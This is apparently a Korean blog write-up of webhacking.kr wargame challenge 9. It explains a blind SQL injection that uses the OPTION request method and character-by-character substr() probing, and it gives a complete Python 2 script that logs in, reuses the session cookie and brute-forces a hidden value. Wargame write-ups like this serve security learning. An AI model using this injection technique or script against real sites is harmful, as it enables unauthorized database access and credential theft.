webhacking/sql, sql injection

webhacking.kr 9번.

qkqhxla1 2014. 8. 31. 13:29

처음에 문제 들어가기 위한 관련 자료 -> 여기


a = ['{:x}'.format(i) for i in range(128+1)] 관련 자료는 여기


일단 요청을 보낼때 파로스나 버프같은 프록시로 요청을 잡아서 메소드를 OPTION메소드로 바꿔서 


요청을 보내면 어떤 화면이 나오는데.. 인젝션은 특별히 어려운게 없으므로 그냥 하면 됨.


필터링을 다 피하고 쿼리문을 짜보면 if(substr(비밀번호,1,1)in(0x16진수),3,0) 이런식으로 판별.


그런데 한가지 이상한점.


처음에 인젝션할때는 맞으면 no=1로 판별해서 Apple가 출력되면 맞는걸로 확인, 틀리면 no=2로 판별


해서 banana였나? 그게 나오도록 해서 판별했는데 이런식으로 판별하니 중간에 맞는 값인데도 인젝션


결과가 틀리게 나와서 한참동안 고생함. 맞으면 3번 페이지의 Secret가 나오고, 틀리면 no=0으로 


아무것도 안나타나게 하는방식으로 판별하니 제대로 나옴.


import httplib, urllib, urllib2
# -*- coding: euc-kr -*-
form = urllib.urlencode({'id':'?????','pw':'?????'})
req = urllib2.Request('http://webhacking.kr',form)
res = urllib2.urlopen(req)
cookie = res.headers.get('Set-cookie')
a = ['{:x}'.format(i) for i in range(128+1)] 
answer = ''
for j in range(1,12):
    print j
    for i in a:
        req = httplib.HTTPConnection('webhacking.kr')
        send = "/challenge/web/web-09/index.php?no=if(substr(id,"+str(j)+",1)in(0x"+str(i)+"),3,0)"
        req.request('OPTION',send, form,{'Cookie':cookie})
        res = req.getresponse()
        read = res.read()
        if(read.find('Secret') != -1):
            num = '0x'+str(i)
            answer = answer + str(chr(int(num,16)))
            print 'answer is',i,':',answer;
            break 

'webhacking > sql, sql injection' 카테고리의 다른 글

mysql max,min함수  (0) 2014.08.31
mysql 이상한 주석문  (0) 2014.08.31
rubiya.kr 17번.  (0) 2014.08.30
rubiya.kr 16번.  (0) 2014.08.30
itchy  (0) 2014.08.29